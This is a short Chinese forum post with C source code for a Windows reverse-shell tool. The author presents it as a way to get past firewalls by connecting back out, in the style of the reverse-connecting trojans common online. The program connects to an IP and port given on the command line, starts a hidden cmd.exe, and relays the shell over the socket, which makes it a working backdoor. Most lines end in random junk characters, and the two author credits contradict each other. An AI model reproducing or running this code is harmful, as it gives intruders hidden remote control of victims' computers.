这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 m';:):
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/* ============================== !%_}Rv!JT
Rebound port in Windows NT Ip|~j}
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By wind,2006/7 gG&2fV}l6
===============================*/ TO-[6Pq#
#include z|<6y~5,
#include wS hsu_(i
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#pragma comment(lib,"wsock32.lib") ,_F1g<^@u
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void OutputShell(); 6Y`eYp5A
SOCKET sClient; 6L}$R`s5H
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \L<Hy)l
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void main(int argc,char **argv) DrC4oxS 1
{ "6FZX~]s!
WSADATA stWsaData; Kn?>XXAc
int nRet; oDrfzm|[Y
SOCKADDR_IN stSaiClient,stSaiServer; S)>L 0^M1
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if(argc != 3) [K9l>O
{ p>Qzz`@e
printf("Useage:\n\rRebound DestIP DestPort\n"); Z[[qW
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return; )4bBR@QM
} s%1 O}X$c
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4703\
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z)#I"$!d
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stSaiClient.sin_family = AF_INET; h'|{@X
stSaiClient.sin_port = htons(0); 2ed$5.D
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kD8$ir'UYG
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) AVF(YD<U
{ ;%0$3a
printf("Bind Socket Failed!\n"); m6a`Ok P
return; *GH`u*C_
} Y[R veF
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stSaiServer.sin_family = AF_INET; 04D>h0yFf
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #.'0DWT\-
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !D!~4h)
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %iPWg
{ nQy.?*X
printf("Connect Error!"); idPx!
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return; G3
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} YC8wo1;Y!
OutputShell(); J<'[P$D
} ZX'q-JUv f
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void OutputShell() k Pi%RvuQ
{ o^&u?F9
char szBuff[1024]; -GCC
SECURITY_ATTRIBUTES stSecurityAttributes; MxQhkY-=
OSVERSIONINFO stOsversionInfo; ~! ;*C
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZVs]_`(+
STARTUPINFO stStartupInfo; {p[{5k 0
char *szShell; 9~n`6;R
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; q^; SZ^yW5
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -d1 YG[1|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); dWqKt0uh!
stSecurityAttributes.lpSecurityDescriptor = 0; `<2k.aW4e8
stSecurityAttributes.bInheritHandle = TRUE; Q3[MzIk 4
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); b"Hc==`
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \@&oK2f
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); JZI)jIh
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2[
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stStartupInfo.wShowWindow = SW_HIDE; <:/Lap#D^
stStartupInfo.hStdInput = hReadPipe; &W+lwEu
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6
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GetVersionEx(&stOsversionInfo); ;-sZaU;
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switch(stOsversionInfo.dwPlatformId) @+Yql
{ J_NY:B
case 1: P1C{G'cR
szShell = "command.com"; /S2lA>
break; (KxI*
default: C# zYZ JZ
szShell = "cmd.exe"; )l?1dR:sP
break; 2 tD{c^
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} jV{?.0/h|
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); uDD{O~wF,
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send(sClient,szMsg,77,0); xB-\yWDZe
while(1) Q\Wh]=}
{ TWE>"8]
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2iM]t&^<+
if(lBytesRead) K|L&mL&8
{ vT@*o=I
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;>hRj!
send(sClient,szBuff,lBytesRead,0); corNw+|/w
} c"KN;9c,
else Db4(E*/pj!
{ {=K);z
lBytesRead=recv(sClient,szBuff,1024,0); zVt1Ta:j
if(lBytesRead<=0) break; lCafsIB
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `A\,$(q+
} h4p<n&)F
} '3<T~t
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return; Fi+8| /5
}